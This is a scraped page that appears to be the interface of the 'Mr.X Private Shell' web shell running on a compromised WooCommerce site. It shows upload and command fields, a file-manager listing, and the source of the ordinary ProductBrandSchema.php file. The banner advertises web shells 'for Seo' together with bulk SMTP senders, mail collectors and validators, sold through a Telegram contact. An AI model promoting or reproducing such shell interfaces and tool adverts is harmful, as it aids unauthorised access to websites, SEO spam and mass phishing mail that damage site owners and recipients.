__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
declare(strict_types=1);

namespace Automattic\WooCommerce\StoreApi\Schemas\V1;

use Automattic\WooCommerce\StoreApi\SchemaController;
use Automattic\WooCommerce\StoreApi\Schemas\ExtendSchema;


/**
 * ProductBrandSchema class.
 */
class ProductBrandSchema extends TermSchema {
	/**
	 * The schema item name.
	 *
	 * @var string
	 */
	protected $title = 'product-brand';

	/**
	 * The schema item identifier.
	 *
	 * @var string
	 */
	const IDENTIFIER = 'product-brand';

	/**
	 * Image attachment schema instance.
	 *
	 * @var ImageAttachmentSchema
	 */
	protected $image_attachment_schema;

	/**
	 * Constructor.
	 *
	 * @param ExtendSchema     $extend Rest Extending instance.
	 * @param SchemaController $controller Schema Controller instance.
	 */
	public function __construct( ExtendSchema $extend, SchemaController $controller ) {
		parent::__construct( $extend, $controller );
		$this->image_attachment_schema = $this->controller->get( ImageAttachmentSchema::IDENTIFIER );
	}

	/**
	 * Term properties.
	 *
	 * @return array
	 */
	public function get_properties() {
		$schema                 = parent::get_properties();
		$schema['image']        = [
			'description' => __( 'Brand image.', 'woocommerce' ),
			'type'        => 'object',
			'context'     => [ 'view', 'edit', 'embed' ],
			'readonly'    => true,
			'properties'  => $this->image_attachment_schema->get_properties(),
		];
		$schema['review_count'] = [
			'description' => __( 'Number of reviews for products of this brand.', 'woocommerce' ),
			'type'        => 'integer',
			'context'     => [ 'view', 'edit' ],
			'readonly'    => true,
		];
		$schema['permalink']    = [
			'description' => __( 'Brand URL.', 'woocommerce' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => [ 'view', 'edit', 'embed' ],
			'readonly'    => true,
		];
		return $schema;
	}

	/**
	 * Convert a term object into an object suitable for the response.
	 *
	 * @param \WP_Term $term Term object.
	 * @return array
	 */
	public function get_item_response( $term ) {
		$response = parent::get_item_response( $term );
		$count    = get_term_meta( $term->term_id, 'product_count_product_brand', true );

		if ( $count ) {
			$response['count'] = (int) $count;
		}

		$response['image']        = $this->image_attachment_schema->get_item_response( get_term_meta( $term->term_id, 'thumbnail_id', true ) );
		$response['review_count'] = $this->get_brand_review_count( $term );
		$response['permalink']    = get_term_link( $term->term_id, 'product_brand' );

		return $response;
	}

	/**
	 * Get total number of reviews for products of a brand.
	 *
	 * @param \WP_Term $term Term object.
	 * @return int
	 */
	protected function get_brand_review_count( $term ) {
		global $wpdb;

		$children = get_term_children( $term->term_id, 'product_brand' );

		if ( ! $children || is_wp_error( $children ) ) {
			$terms_to_count_str = absint( $term->term_id );
		} else {
			$terms_to_count     = array_unique( array_map( 'absint', array_merge( array( $term->term_id ), $children ) ) );
			$terms_to_count_str = implode( ',', $terms_to_count );
		}

		$products_of_brand_sql = "
			SELECT SUM(comment_count) as review_count
			FROM {$wpdb->posts} AS posts
			INNER JOIN {$wpdb->term_relationships} AS term_relationships ON posts.ID = term_relationships.object_id
			WHERE term_relationships.term_taxonomy_id IN (" . esc_sql( $terms_to_count_str ) . ')
		';

		$review_count = $wpdb->get_var( $products_of_brand_sql ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

		return (int) $review_count;
	}
}

Filemanager

Name Type Size Permission Actions
AI Folder 0775
Agentic Folder 0775
AbstractAddressSchema.php File 10.58 KB 0664
AbstractSchema.php File 12.83 KB 0664
BatchSchema.php File 427 B 0664
BillingAddressSchema.php File 4.46 KB 0664
CartCouponSchema.php File 2.98 KB 0664
CartExtensionsSchema.php File 2.21 KB 0664
CartFeeSchema.php File 2.12 KB 0664
CartItemSchema.php File 7.55 KB 0664
CartSchema.php File 15.82 KB 0664
CartShippingRateSchema.php File 11.37 KB 0664
CheckoutOrderSchema.php File 752 B 0664
CheckoutSchema.php File 15.05 KB 0664
ErrorSchema.php File 1.12 KB 0664
ImageAttachmentSchema.php File 2.55 KB 0664
ItemSchema.php File 11.27 KB 0664
OrderCouponSchema.php File 2.41 KB 0664
OrderFeeSchema.php File 2.2 KB 0664
OrderItemSchema.php File 2.79 KB 0664
OrderSchema.php File 12.74 KB 0664
PatternsSchema.php File 673 B 0664
ProductAttributeSchema.php File 2.5 KB 0664
ProductBrandSchema.php File 3.49 KB 0664
ProductCategorySchema.php File 3.5 KB 0664
ProductCollectionDataSchema.php File 4.95 KB 0664
ProductReviewSchema.php File 6.12 KB 0664
ProductSchema.php File 32.79 KB 0664
ShippingAddressSchema.php File 2.84 KB 0664
TermSchema.php File 2.15 KB 0664
Filemanager